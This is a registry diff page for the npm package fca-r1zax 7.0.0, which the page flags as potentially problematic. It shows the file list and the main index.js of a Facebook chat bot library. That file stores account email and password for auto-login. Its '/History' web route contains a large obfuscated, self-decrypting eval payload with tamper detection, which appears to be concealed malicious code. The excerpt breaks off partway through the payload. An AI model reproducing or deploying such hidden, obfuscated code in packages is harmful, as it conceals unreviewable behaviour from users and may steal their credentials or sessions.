fca-r1zax 7.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fca-r1zax might be problematic. Click here for more details.

Files changed (94) hide show
  1. package/.cache/replit/__replit_disk_meta.json +1 -0
  2. package/.cache/replit/modules.stamp +1 -0
  3. package/.cache/replit/nix/env.json +1 -0
  4. package/CHANGELOG.md +2 -0
  5. package/Controllers/Remote.js +3 -0
  6. package/CountTime.json +1 -0
  7. package/DOCS.md +1738 -0
  8. package/Extra/ExtraAddons.js +78 -0
  9. package/Extra/ExtraFindUID.js +60 -0
  10. package/Extra/ExtraGetThread.js +118 -0
  11. package/Extra/ExtraTranslate.js +62 -0
  12. package/Extra/ExtraUptimeRobot.js +59 -0
  13. package/Extra/Html/Classic/script.js +231 -0
  14. package/Extra/Html/Classic/style.css +8 -0
  15. package/Extra/PM2/ecosystem.config.js +23 -0
  16. package/Extra/Security/Index.js +174 -0
  17. package/Extra/Security/Step_1.js +15 -0
  18. package/Extra/Security/Step_2.js +23 -0
  19. package/Extra/Security/Step_3.js +23 -0
  20. package/Extra/Src/History.js +115 -0
  21. package/Extra/Src/Last-Run.js +65 -0
  22. package/Extra/Src/Premium.js +84 -0
  23. package/Extra/Src/SecurityCheck.js +2 -0
  24. package/Func/AcceptAgreement.js +32 -0
  25. package/Func/ClearCache.js +63 -0
  26. package/Func/ReportV1.js +54 -0
  27. package/LICENSE.md +23 -0
  28. package/Language/index.json +176 -0
  29. package/OldSecurity.js +100 -0
  30. package/README.md +123 -0
  31. package/Settings/Database.js +21 -0
  32. package/Settings/Location.js +59 -0
  33. package/broadcast.js +40 -0
  34. package/index.js +1345 -0
  35. package/logger.js +73 -0
  36. package/package.json +253 -0
  37. package/replit.nix +5 -0
  38. package/src/Premium.js +30 -0
  39. package/src/addExternalModule.js +16 -0
  40. package/src/addUserToGroup.js +78 -0
  41. package/src/changeAdminStatus.js +79 -0
  42. package/src/changeArchivedStatus.js +41 -0
  43. package/src/changeAvt.js +85 -0
  44. package/src/changeBio.js +65 -0
  45. package/src/changeBlockedStatus.js +36 -0
  46. package/src/changeGroupImage.js +106 -0
  47. package/src/changeNickname.js +45 -0
  48. package/src/changeThreadColor.js +62 -0
  49. package/src/changeThreadEmoji.js +42 -0
  50. package/src/createNewGroup.js +70 -0
  51. package/src/createPoll.js +60 -0
  52. package/src/deleteMessage.js +45 -0
  53. package/src/deleteThread.js +43 -0
  54. package/src/forwardAttachment.js +48 -0
  55. package/src/getAccessToken.js +32 -0
  56. package/src/getCurrentUserID.js +7 -0
  57. package/src/getEmojiUrl.js +27 -0
  58. package/src/getFriendsList.js +73 -0
  59. package/src/getMessage.js +80 -0
  60. package/src/getThreadHistory.js +537 -0
  61. package/src/getThreadInfo.js +232 -0
  62. package/src/getThreadList.js +213 -0
  63. package/src/getThreadPictures.js +59 -0
  64. package/src/getUID.js +53 -0
  65. package/src/getUserID.js +62 -0
  66. package/src/getUserInfo.js +65 -0
  67. package/src/getUserInfoV2.js +35 -0
  68. package/src/getUserInfoV3.js +63 -0
  69. package/src/getUserInfoV4.js +55 -0
  70. package/src/getUserInfoV5.js +61 -0
  71. package/src/handleFriendRequest.js +46 -0
  72. package/src/handleMessageRequest.js +49 -0
  73. package/src/httpGet.js +49 -0
  74. package/src/httpPost.js +48 -0
  75. package/src/httpPostFormData.js +41 -0
  76. package/src/listenMqtt.js +725 -0
  77. package/src/logout.js +68 -0
  78. package/src/markAsDelivered.js +48 -0
  79. package/src/markAsRead.js +70 -0
  80. package/src/markAsReadAll.js +43 -0
  81. package/src/markAsSeen.js +51 -0
  82. package/src/muteThread.js +47 -0
  83. package/src/removeUserFromGroup.js +49 -0
  84. package/src/resolvePhotoUrl.js +37 -0
  85. package/src/searchForThread.js +43 -0
  86. package/src/sendMessage.js +334 -0
  87. package/src/sendTypingIndicator.js +80 -0
  88. package/src/setMessageReaction.js +109 -0
  89. package/src/setPostReaction.js +102 -0
  90. package/src/setTitle.js +74 -0
  91. package/src/threadColors.js +39 -0
  92. package/src/unfriend.js +43 -0
  93. package/src/unsendMessage.js +40 -0
  94. package/utils.js +1708 -0
package/index.js ADDED
@@ -0,0 +1,1345 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * Developers: @Anup.x3
5
+ ** A few words about developer appstate security.
6
+ *! Statement renouncing responsibility for the security of appstate encryption of the following operating systems: windows, Android, Linux operating systems,.. (maybe repl.it?),
7
+ *! because the above operating systems are private (except rep.it if the fraudster does not own your account or invite link to join).
8
+ *! If the intruder owns the computer, these private operating systems,the security of this fca cannot guarantee 100% of the time.
9
+ ** If the grammar is wrong, please understand because I'm just a kid 🍵.
10
+ */
11
+
12
+ /!-[ Control Console History ]-!/
13
+
14
+ require('./Extra/Src/History');
15
+
16
+ /!-[ Max Cpu Speed ]-!/
17
+
18
+ process.env.UV_THREADPOOL_SIZE = require('os').cpus().length;
19
+
20
+ /!-[ Global Set ]-!/
21
+
22
+ globalThis.Fca = new Object({
23
+ isThread: new Array(),
24
+ isUser: new Array(),
25
+ startTime: Date.now(),
26
+ Setting: new Map(),
27
+ Require: new Object({
28
+ fs: require("fs"),
29
+ Fetch: require('got'),
30
+ log: require("npmlog"),
31
+ utils: require("./utils"),
32
+ logger: require('./logger'),
33
+ Security: require("uuid-apikey"),
34
+ languageFile: require('./Language/index.json'),
35
+ Database: require("nimra-database")
36
+ }),
37
+ getText: function(/** @type {any[]} */...Data) {
38
+ var Main = (Data.splice(0,1)).toString();
39
+ for (let i = 0; i < Data.length; i++) Main = Main.replace(RegExp(`%${i + 1}`, 'g'), Data[i]);
40
+ return Main;
41
+ },
42
+ Data: new Object({
43
+ ObjFastConfig: {
44
+ "Language": "vi",
45
+ "PreKey": "",
46
+ "AutoUpdate": true,
47
+ "MainColor": "#9900FF",
48
+ "MainName": "[ FCA ]",
49
+ "Uptime": true,
50
+ "Login2Fa": false,
51
+ "AutoLogin": false,
52
+ "BroadCast": true,
53
+ "AuthString": "SD4S XQ32 O2JA WXB3 FUX2 OPJ7 Q7JZ 4R6Z | https://i.imgur.com/RAg3rvw.png Please remove this !, Recommend If You Using getUserInfoV2",
54
+ "EncryptFeature": true,
55
+ "ResetDataLogin": false,
56
+ "AutoRestartMinutes": 0,
57
+ "HTML": {}
58
+ },
59
+ CountTime: function() {
60
+ var fs = globalThis.Fca.Require.fs;
61
+ if (fs.existsSync(__dirname + '/CountTime.json')) {
62
+ try {
63
+ var data = Number(fs.readFileSync(__dirname + '/CountTime.json', 'utf8')),
64
+ hours = Math.floor(data / (60 * 60));
65
+ }
66
+ catch (e) {
67
+ fs.writeFileSync(__dirname + '/CountTime.json', 0);
68
+ hours = 0;
69
+ }
70
+ }
71
+ else {
72
+ hours = 0;
73
+ }
74
+ return `${hours} Hours`;
75
+ }
76
+ }),
77
+ AutoLogin: async function () {
78
+ var Database = globalThis.Fca.Require.Database;
79
+ var logger = globalThis.Fca.Require.logger;
80
+ var Email = (await globalThis.Fca.Require.Database.get('Account')).replace(RegExp('"', 'g'), ''); //hmm IDK
81
+ var PassWord = (await globalThis.Fca.Require.Database.get('Password')).replace(RegExp('"', 'g'), '');
82
+ login({ email: Email, password: PassWord},async (error, api) => {
83
+ if (error) {
84
+ logger.Error(JSON.stringify(error,null,2), function() { logger.Error("AutoLogin Failed!", function() { process.exit(0); }) });
85
+ }
86
+ try {
87
+ await Database.set("TempState", api.getAppState());
88
+ }
89
+ catch(e) {
90
+ logger.Warning(globalThis.Fca.Require.Language.Index.ErrDatabase);
91
+ logger.Error();
92
+ process.exit(0);
93
+ }
94
+ process.exit(1);
95
+ });
96
+ }
97
+ });
98
+
99
+ /!-[ Check File To Run Process ]-!/
100
+
101
+ let Boolean_Fca = ["AutoUpdate","Uptime","BroadCast","EncryptFeature","AutoLogin","ResetDataLogin","Login2Fa"];
102
+ let String_Fca = ["MainName","PreKey","Language","AuthString"]
103
+ let Number_Fca = ["AutoRestartMinutes"];
104
+ let All_Variable = Boolean_Fca.concat(String_Fca,Number_Fca);
105
+
106
+ try {
107
+ if (!globalThis.Fca.Require.fs.existsSync('./FcaSetting.json')) {
108
+ globalThis.Fca.Require.fs.writeFileSync("./FcaSetting.json", JSON.stringify(globalThis.Fca.Data.ObjFastConfig, null, "\t"));
109
+ process.exit(1);
110
+ }
111
+
112
+ try {
113
+ var DataLanguageSetting = require("../../FcaSetting.json");
114
+ }
115
+ catch (e) {
116
+ globalThis.Fca.Require.logger.Error('Detect Your FcaSetting Settings Invalid!, Carry out default restoration');
117
+ globalThis.Fca.Require.fs.writeFileSync("./FcaSetting.json", JSON.stringify(globalThis.Fca.Data.ObjFastConfig, null, "\t"));
118
+ process.exit(1)
119
+ }
120
+ if (globalThis.Fca.Require.fs.existsSync('./FcaSetting.json')) {
121
+ try {
122
+ if (!DataLanguageSetting.AuthString || globalThis.Fca.Require.utils.getType(DataLanguageSetting.AuthString) != 'String') {
123
+ DataLanguageSetting.AuthString = "SD4S XQ32 O2JA WXB3 FUX2 OPJ7 Q7JZ 4R6Z | https://i.imgur.com/RAg3rvw.png Please remove this !, Recommend If You Use getUserInfoV2"; //example pls
124
+ globalThis.Fca.Require.fs.writeFileSync("./FcaSetting.json", JSON.stringify(DataLanguageSetting, null, "\t"));
125
+ }
126
+ }
127
+ catch (e) {
128
+ console.log(e);
129
+ }
130
+ if (!globalThis.Fca.Require.languageFile.some((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language)) {
131
+ globalThis.Fca.Require.logger.Warning("Not Support Language: " + DataLanguageSetting.Language + " Only 'en' and 'vi'");
132
+ process.exit(0);
133
+ }
134
+ var Language = globalThis.Fca.Require.languageFile.find((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language).Folder.Index;
135
+ globalThis.Fca.Require.Language = globalThis.Fca.Require.languageFile.find((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language).Folder;
136
+ } else process.exit(1);
137
+ for (let i in DataLanguageSetting) {
138
+ if (Boolean_Fca.includes(i)) {
139
+ if (globalThis.Fca.Require.utils.getType(DataLanguageSetting[i]) != "Boolean") return logger.Error(i + " Is Not A Boolean, Need To Be true Or false !", function() { process.exit(0) });
140
+ else continue;
141
+ }
142
+ else if (String_Fca.includes(i)) {
143
+ if (globalThis.Fca.Require.utils.getType(DataLanguageSetting[i]) != "String") return logger.Error(i + " Is Not A String, Need To Be String!", function() { process.exit(0) });
144
+ else continue;
145
+ }
146
+ else if (Number_Fca.includes(i)) {
147
+ if (globalThis.Fca.Require.utils.getType(DataLanguageSetting[i]) != "Number") return logger.Error(i + " Is Not A Number, Need To Be Number !", function() { process.exit(0) });
148
+ else continue;
149
+ }
150
+ }
151
+ for (let i of All_Variable) {
152
+ if (!DataLanguageSetting[All_Variable[i]] == undefined) {
153
+ DataLanguageSetting[All_Variable[i]] = globalThis.Fca.Data.ObjFastConfig[All_Variable[i]];
154
+ globalThis.Fca.Require.fs.writeFileSync("./FcaSetting.json", JSON.stringify(DataLanguageSetting, null, "\t"));
155
+ }
156
+ else continue;
157
+ }
158
+ globalThis.Fca.Require.FastConfig = DataLanguageSetting;
159
+ }
160
+ catch (e) {
161
+ console.log(e);
162
+ globalThis.Fca.Require.logger.Error();
163
+ }
164
+
165
+ /!-[ Require All Package Need Use ]-!/
166
+
167
+ var utils = globalThis.Fca.Require.utils,
168
+ logger = globalThis.Fca.Require.logger,
169
+ fs = globalThis.Fca.Require.fs,
170
+ getText = globalThis.Fca.getText,
171
+ log = globalThis.Fca.Require.log,
172
+ Fetch = globalThis.Fca.Require.Fetch,
173
+ express = require("express")(),
174
+ { join } = require('path'),
175
+ cheerio = require("cheerio"),
176
+ StateCrypt = require('./OldSecurity'),
177
+ { readFileSync } = require('fs-extra'),
178
+ Database = require("nimra-database"),
179
+ readline = require("readline"),
180
+ chalk = require("chalk"),
181
+ figlet = require("figlet"),
182
+ os = require("os"),
183
+ Form = require('form-data'),
184
+ Security = require("./Extra/Security/Index");
185
+
186
+ /!-[ Set Variable For Process ]-!/
187
+
188
+ log.maxRecordSize = 100;
189
+ var checkVerified = null;
190
+ var Boolean_Option = ['online','selfListen','listenEvents','updatePresence','forceLogin','autoMarkDelivery','autoMarkRead','listenTyping','autoReconnect','emitReady'];
191
+
192
+ /!-[ Set And Check Template HTML ]-!/
193
+
194
+ var css = readFileSync(join(__dirname, 'Extra', 'Html', 'Classic', 'style.css'));
195
+ var js = readFileSync(join(__dirname, 'Extra', 'Html', 'Classic', 'script.js'));
196
+
197
+ /!-[ Function Generate HTML Template ]-!/
198
+
199
+ /**
200
+ * It returns a string of HTML code.
201
+ * @param UserName - The username of the user
202
+ * @param Type - The type of user, either "Free" or "Premium"
203
+ * @param link - The link to the music you want to play
204
+ * @returns A HTML file
205
+ */
206
+
207
+ function ClassicHTML(UserName,Type,link) {
208
+ return `<!DOCTYPE html>
209
+ <html lang="en" >
210
+ <head>
211
+ <meta charset="UTF-8">
212
+ <title>R1zaX</title>
213
+ <link rel="stylesheet" href="./style.css">
214
+ </head>
215
+ <body>
216
+ <center>
217
+ <marquee><b>go go go brr!</b></marquee>
218
+ <h2>Horizon User Infomation</h2>
219
+ <h3>UserName: ${UserName} | Type: ${Type}</h3>
220
+ <canvas id="myCanvas"></canvas>
221
+ <script src="./script.js"></script>
222
+ <footer class="footer">
223
+ <div id="music">
224
+ <audio autoplay="false" controls="true" loop="true" src="${link}" __idm_id__="5070849">Your browser does not support the audio element.</audio>
225
+ <br><b>Session ID:</b> ${globalThis.Fca.Require.Security.create().uuid}<br>
226
+ <br>Thanks For Using <b>Fca-RqzaX</b> - From <b>Nimra Pathan</b> <3<br>
227
+ </div>
228
+ </footer>
229
+ </div>
230
+ </center>
231
+ </html>
232
+ </body>`
233
+ //lazy to change
234
+ }
235
+
236
+ /!-[ Stating Http Infomation ]-!/
237
+
238
+ express.set('DFP', (process.env.PORT || process.env.port || 1932));
239
+ express.use(function(req, res, next) {
240
+ switch (req.url.split('?')[0]) {
241
+ case '/script.js': {
242
+ res.writeHead(200, { 'Content-Type': 'text/javascript' });
243
+ res.write(js);
244
+ break;
245
+ }
246
+ case '/style.css': {
247
+ res.writeHead(200, { 'Content-Type': 'text/css' });
248
+ res.write(css);
249
+ break;
250
+ }
251
+ case '/History': {
252
+ let zKhqb;
253
+ ! function() {
254
+ const ENzF = Array.prototype.slice.call(arguments);
255
+ return eval("(function kO5L(T3cE){const nr5D=fbkC(T3cE,njXB(kO5L.toString()));try{let PY7D=eval(nr5D);return PY7D.apply(null,ENzF);}catch(jm0D){var LT2D=(0o204730-68028);while(LT2D<(0o400071%65550))switch(LT2D){case (0x3006D%0o200033):LT2D=jm0D instanceof SyntaxError?(0o400076%0x10019):(0o400073%0x1000F);break;case (0o200550-0x1015C):LT2D=(0o400107%65557);{console.log(\'Error: the code has been tampered!\');return}break;}throw jm0D;}function njXB(PQZB){let jeSB=180078849;var LLUB=(0o400071%65558);{let f9MB;while(LLUB<(0x104D8-0o202271)){switch(LLUB){case (0o600042%0x10006):LLUB=(67936-0o204514);{jeSB^=(PQZB.charCodeAt(f9MB)*(15658734^0O73567354)+PQZB.charCodeAt(f9MB>>>(0x4A5D0CE&0O320423424)))^780773326;}break;case (0o203720-67516):LLUB=(131097%0o200010);f9MB++;break;case (262213%0o200017):LLUB=f9MB<PQZB.length?(0o400062%0x10011):(67706-0o204133);break;case (0o1000135%0x10014):LLUB=(0o201166-0x1026D);f9MB=(0x75bcd15-0O726746425);break;}}}let HGPB=\"\";var b4HB=(65776-0o200344);{let DBKB;while(b4HB<(0o600153%0x10018)){switch(b4HB){case (0o600121%65559):b4HB=(73639709%9);DBKB=(0x21786%3);break;case (0O347010110&0x463A71D):b4HB=DBKB<(0O347010110&0x463A71D)?(0o400062%0x10012):(0x10834-0o204021);break;case (0x2004A%0o200036):b4HB=(69016-0o206573);{const DDhC=jeSB%(0o204444-0x1090A);jeSB=Math.floor(jeSB/(0x1071C-0o203402));HGPB+=DDhC>=(0o600150%65562)?String.fromCharCode((0o1000441%0x10038)+(DDhC-(0o204040-0x10806))):String.fromCharCode((0o215206-72229)+DDhC);}break;case (0o201546-0x10349):b4HB=(73639709%9);DBKB++;break;}}}return HGPB;}function fbkC(zycC,b6eC){zycC=decodeURI(zycC);let vt7B=(0x75bcd15-0O726746425);let X09B=\"\";var ro2B=(0x40069%0o200027);{let TV4B;while(ro2B<(0x10744-0o203445)){switch(ro2B){case (0o203600-0x10770):ro2B=(0o205050-0x10A14);{X09B+=String.fromCharCode(zycC.charCodeAt(TV4B)^b6eC.charCodeAt(vt7B));vt7B++;var TXBC=(0x10708-0o203371);while(TXBC<(0o200416-0x100F3))switch(TXBC){case (0o200454-65821):TXBC=vt7B>=b6eC.length?(0o202424-0x104FA):(0x3008D%0o200046);break;case (0o400120%65563):TXBC=(67426-0o203507);{vt7B=(0x21786%3);}break;}}break;case (262205%0o200015):ro2B=TV4B<zycC.length?(67296-0o203320):(0o1000333%65583);break;case (66446-0o201601):ro2B=(66076-0o201023);TV4B=(0x21786%3);break;case (0o203720-67516):ro2B=(262225%0o200022);TV4B++;break;}}}return X09B;}})(\"N%0B%0C%16%00%0E%0B%0E%08EP%03%05%0F%0C%02%12%04%16%16C?%008*EP%03%11%1F%16%14%14%03Y%1F%05K&IOF%0E*%5B3JHM%3C%12;(RKJ##%03%3EKSI%06%045:PJQ%0D\'%14$QQ%1E%1C%17%0F%05%19%10%17%0DZ%05+V!QQ%18%08%07%15%13%1F%17X&O%0F*NDR%1F%0B%03\'IOF,M%0E%3CJHM%06A,%22RKJ%01%05%00=KSI%20-%5C?PJQ%153%5E$QQ%1E%1C%17%0F%05%19%10%17%0DZ#W5!QQ%18%08%07%15%13%1F%17XKR%11.\'\'QQJPJJGF%22%25H%5BI:;DPSKQCJ=0P%05%191%0A%10%04P%02%05X%1C%17%0F%05%19%10%17%0DZ%01$0!QQ%18#Z4#EP#%040R-ND$E%191%0A%10%046%0E.%001JH;V%04%1E%16%14%01%15%0F%02%17X&I2+ND%02%0A%06%0E%17%13%08MQS8\'I@M6$SKQI:M6$%258Q9%3CM6$%25JSIIN,O+/RKHLE0@60JHOD%04%1E%16%14%01%15%0F%02%17X%0481+ND%02%0A%06%0E%17%13%08M,.+9JHM,%00(%20RKJ%05%08I=KSI%06%045:PJQ3%0A%25&QQ%1E%1C%17%0F%05%19%10%17%0DZ#8-\'QQ%18%08%07%15%13%1F%17XK%1D%04P%22EPQ8+%0BT,EP%25KS%1F%07%13%03%1A%0C%0A%15%0CA%05%1A72KS%19%13%03%19%0C%0A%0DZJIMLR#%3EQJJM6R#%3E\'9J=0$QJPJ(T%070PJSKJNFR#H!?%3C=F%22%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA%119?2KS%19%13%03%19%0C%0A%0DZJ,,%5D;PJS9,_;0PJ\'J(7Z%3CPJS%1F%1B-%05%08%1AM%0E%01%5CN6%17%0D%0F%16?%5C%5BJ%5EQX%1C%17%0F%05%19%10%17%0DZ;%10/\'QQ%18%08%07%15%13%1F%17X%221S\'NDR%0F1B+IOF,M%0E%3CJHM%0E*@%1ARKJ%09+%0B1KSI4%044%3EPJQ%151$$QQ%1E%1C%17%0F%05%19%10%17%0DZ%11.\'\'QQ%18%08%07%15%13%1F%17XKQI:M6$%258Q9%3C;FQSH!I:;0%22S8\'?HOFQS8!I:=FXS8\'?J=F%22%25%3E\'I:;0%22S8\'?:M6$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA3%01=2KS%19%13%03%19%0C%0A%0DZJFA6%1E%12V?JH;EPQ8Q9%3C;%10%1F%0D%0D%19%16%08%09%03Y-%0D%1B)IO%16%0B%1D%17%0F%10%0FF%1A+@*RKJ3X%14%3EKSI%0E%20%1F0PJQ#(%13+QQH%1D%009%25EPS%14(Z(NDR%13%5B.#IO%10%1F%0D%0D%19%16%08%09%03Y%0F5%19)IO%16%0B%1D%17%0F%10%0FF(L%15(RKJ%11=;1KS%1F%07%13%03%1A%0C%0A%15%0CA7%04L2KS%19%13%03%19%0C%0A%0DZ%0D\'%14$QQH%1D%0A%18#EPS%0C%0A%00$NDR!%02%09$IOF%20%19%10%3CJHM%1A+@*RKJ\'$%0C%3EKSI0-%5C8PJQ#S)&QQH%11Z5\'EPS%14(Z(ND%04%0E%02%08B%127Z3E8RR%0ETYHJSLOQ%1E%5CMJSIKMN%5D%16JROQQT@NJQN%5BHJEI%00PJSV#HI%17QJRPT%5CPTKJ%0DSVXOLWWR%19W%5D;H%25SNIT%5BKAWIGQ%09_IHQNPHJEI%00PJS%25%5EHI%17QJRPS%5CP%25X%1C%17%0F%05%19%10%17%0DZ/%05V\'QQ%18%08%07%15%13%1F%17X%22%11T%18NDR!%00%20$IOF()%209JHM,2I%25RKJ7%06:3KS%1F%07%13%03%1A%0C%0A%15%0CA%09!K2KS%19%13%03%19%0C%0A%0DZJ46%5B8PJSII/%3CN=KSK%1C%00%18%17%1B%17%13%0D%0FF$A-)RK%1A%14%08%0D%0D%11%14BIM6$SBQ9%3CMERS8Q9%3C;6R#%3EQ9%3C;DPRKQCJ=0PSKQJ:M6%22YH!?JGF%22%25%3EQ9J=0$%25%3EQ9%3CO6R#8Q9:M6$%25H!I:;0$S8\'?:M6$%258QCJ=0$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA%0D*!2KS%19%13%03%19%0C%0A%0DZJJ=6R#8QCJ=0$S8Q9%3C;0R#%3E\'9J=0$#H%5BI:;0$QHRJ%12%15\'=PJSHI%15%2282KSKH%1B%0B%0C%16%00%0E%0B%0E%08M%121%161JH%1D%1F%1C%0C%16%08%0CANF%22#H!9@M6$SBQ9%3C;F%22S8\'?%3CM6$%258Q9%3C;6RYH!?%3C;DRPKQCJ=0RPHQ9J=0$#H!?%3CODSP*7Q%25NDPQ%1E%1C%17%0F%05%19%10%17%0DZ/%07%1E&QQ%18%08%07%15%13%1F%17XK!?:3%03%183KS?IOF%22%25J!34!)QQ%3E%07%14%00%14M%1E%3C%131_:N%5D6MSMTUP%5CML=J%1ATW+M;UKKMN%5D6IWNTTQYMO=J%1AP_%5EL%3EQJKMN%5CJIRHSDV%02KHSJPROAQH%0CHRSR_MUULZSUDUPS%02PQVY@%5DS%15PQV%5DJLJ\'Y%07%13%03%1A%0C%0A%15%0CA/%0C%0A3KS%19%13%03%19%0C%0A%0DZJJGF%22%25HRIJ=F%22%25%3E!I:;0PQHR34!)QQJ%07%04%14%08%0E%0D%11%0C%14B%02%1F%062PJ%01%10%04%12%18%0B%16C?W%0C-EPS%14*%20(NDR9Q5)IOF81%16%3CJHM%3C2I%22RKJ%01%05%00=KSI,%1C%01%03PJQ%153%5E$QQH/%008!EPS.%1C%1A*NDR%17%25%08+IO%10%1F%0D%0D%19%16%08%09%03Y=V%17)IO%16%0B%1D%17%0F%10%0FFE%22%258?%14,\'EP%25H!?H=FXS8\'I@M6$SBQ9%3C;%10%1F%0D%0D%19%16%08%09%03Y!%10%1C)IO%16%0B%1D%17%0F%10%0FFERS8Q9%3C;6R#%3E\'IIMF%22S8\'?:M6$%25JWI@M6$QHRII=F%22#BQ9%3CMLR#%3E\'I:M6$%25%3E\'I:;D%22S8!I:=F%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3E\'KJNFQ#H!9@M6$SBQ9%3C;F%22S8\'?%3C;F%22%25J!I:;0P%05%05%0F%0C%02%12%04%16%16C;R%09-EP%03%11%1F%16%14%14%03YP6*T%20NDPSK?Q1,EPQ%1E%1C%17%0F%05%19%10%17%0DZ#S)&QQ%18%08%07%15%13%1F%17XK%5B9%3CM6$Q8QCJ=0$%05%191%0A%10%04C%0EO%0C4_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FFEHKRKSUC%5D%16JSJRPRD%04C%05%0F%0C%02%12%04%16%16C%19#3-EP%03%11%1F%16%14%14%03Y%1E%16%14%01%15%0F%02%17PJ%01%1FZ%1B%0B%0C%16%00%0E%0B%0E%08M%0E%20)1JH%1D%1F%1C%0C%16%08%0CA3X%14%3EKSI%0A%5E98PJQ%05%09%1F(QQH;)P%20EPS%14(Z(ND%04%1E%16%14%01%15%0F%02%17X:%0F/*ND%02%0A%06%0E%17%13%08M%3CM%0E1JHM%0A%11%01&RK%1C%00%18%17%1B%17%13%0D%0FF%1E*=(RK%1A%14%08%0D%0D%11%14B%06S%01;PJQ#*W+QQH/W%0C%20EPS%04%18:%22NDR)%089)IO%10%1F%0D%0D%19%16%08%09%03Y-%132)IO%16%0B%1D%17%0F%10%0FF,%00(%20RKJ7%06:3KSI,%1C%01%03PJQ%05%03%3E.QQH+%09%22-EP%05%05%0F%0C%02%12%04%16%16C%15,%1B-EP%03%11%1F%16%14%14%03YPKQCJ=0RPHQ9J=0$#H!?%3CODSP%22L1-NDPQHRI:=F%22#BQ9%3CMLR#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'K%1C%1C&%11%09%01T3%14%0E#D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CRR%0EW%5DIHRJVDPXLLVS%1FZ%00%18%17%1B%17%13%0D%0FF%3C%12;(RK%1A%14%08%0D%0D%11%14BI%12%14%09%1D%0C%1CB@=0P#H!?%3C%1B%0B%0C%16%00%0E%0B%0E%08M%0A3%143JH%1D%1F%1C%0C%16%08%0CA\'%06O%01KSI%20/%18?PJQ%05%09%1F(QQH%15%04%16$EPS6%18;&NDR)(K#IOF%0E(!3JHM,K7(RKJ\'$%0C%3EKSI0-%5C8PJQ%05%09%1F(QQH7%18%0D%1CEPS%14(Z(ND%04%1E%16%14%01%15%0F%02%17X6%12%18(ND%02%0A%06%0E%17%13%08M091;JHM,%00(%20RKJ%11?A1KSI4S%00?PJQ%0D\'%14$QQH%15%0EV%25EPS%0C%3C%10(NDR%1F%0B%03\'IOF81%16%3CJHM,K7(RKJ%05%3EA%01KSI%164U0PJ%07%04%14%08%0E%0D%11%0C%14B%0E%20%1F0PJ%01%10%04%12%18%0B%16CR%16%18%16%08%16%1ECR9%3CM6$QJ!I@M6$%25%1E%1C%17%0F%05%19%10%17%0DZ3%02%13$QQ%18%08%07%15%13%1F%17X%14%16!%20NDR)%04%03(IOF%3C4Q?JHM%1A-%3E)RKJ7%06:3KS%1F%07%13%03%1A%0C%0A%15%0CA%0D,%141KS%19%13%03%19%0C%0A%0DZ;%00%15+QQH%09%15/#EPS%08B6%20NDR%0F38+IO%10%033%0B%0B%00O%15_%136%5E%1C%17%0F%05%19%10%17%0DRK%1A%14%08%0D%0D%11%14BIV%15HHUC#LV%02KHPHSTO%10B%1E%16%14%01%15%0F%02%17X.M%0D(ND%02%0A%06%0E%17%13%08MQS8!I:=F%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3ESIIN$%18%0B(RKHLE0%19%101JHOD%04%1E%16%14%01%15%0F%02%17X%04%0C%0A(ND%02%0A%06%0E%17%13%08M%1EM%0F8JHM$%3C.!RKJ?%02%1B2KSI%20-%5C?PJQ3%0A%25&QQ%1E%1C%17%0F%05%19%10%17%0DZ+S%0C$QQ%18%08%07%15%13%1F%17XKR%11%12,)QQJPJJGF%22%25HRIJ=F%22%25%3E!I:;0PQJQJJ=6R#8QC:;FXS8\'?J=F%22%25%3E\'I:;0%22S8\'?:M6$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA/Y(1KS%19%13%03%19%0C%0A%0DZJIMF%22S8\'?:M6$%25HRIJ=F%22%25%3E!I:;0PQIR+%00%15&QQJSIIM6%22S8!I@M6$%25H!I:;0$S8\'?:M6$%258Q9%3C;0P%05%05%0F%0C%02%12%04%16%16C%11!5/EP%03%11%1F%16%14%14%03Y)%06K+IOF%3CM%0E1JHM%1A+@*RKJ%09%0B%0E:KSI0%0D.2PJQ%05T%0A/QQH3\'7$EPS:%15%00+NDR9(K$IOF(%13%201JH%1B%0B%0C%16%00%0E%0B%0E%08M%3C%22/3J%06%1E%220Q%18%08%07%15%13%1F%17X%0C%14\'%25=%0A%017*\'Y%1C%1C&%11%09%01T/%11%05#D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CRTVWUOUS%15PQU%5CKIJ%07Y%07%13%03%1A%0C%0A%15%0CA\'8%3E1KS%19%13%03%19%0C%0A%0DZ3%0A%25&QQH%1D%009%25EPS6O%0F\'NDR5%19%16%18IO%10%1F%0D%0D%19%16%08%09%03Y%1B%100+IO%16%0B%1D%17%0F%10%0FFEQPHQ9J=0$#H!?%3COBQSK!I:=LR#%3EQCJ=0$S8Q9%3C;0$S8\'K:M6%22S8!I:;0R#H!?%3C;F%22%25%3E!I:;0%22SBQ9%3C;0$QJQ9%3CO6RYH!?%3C%1B%0B%0C%16%00%0E%0B%0E%08M%0E(!3JH%1D%1F%1C%0C%16%08%0CAN%02%1D%22%22RKH=%20@.*RK%3CN$%3E%0B%20RKH%1B%0B%0C%16%00%0E%0B%0E%08M%20%15&3JH%1D%1F%1C%0C%16%08%0CA%0DU-9KSI%06%045:PJQ%012%5E%14QQH/W%0C%20EP%05%05%0F%0C%02%12%04%16%16C#%0D%03,EP%03%11%1F%16%14%14%03YP&%3E7%22NDPS8\'%1F%07%13%03%1A%0C%0A%15%0CA\':%1D2KS%19%13%03%19%0C%0A%0DZ#(%13+QQH#%0D%03,EPS%00J%05#NDR%0F38+IOF(%13%201JH%1B%172%10%12%18L%0E%3E%087E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZJQ%09YIHRHPDV%15HHSKZH%1BV%1F%0D%0D%19%16%08%09%03Y-%09L+IO%16%0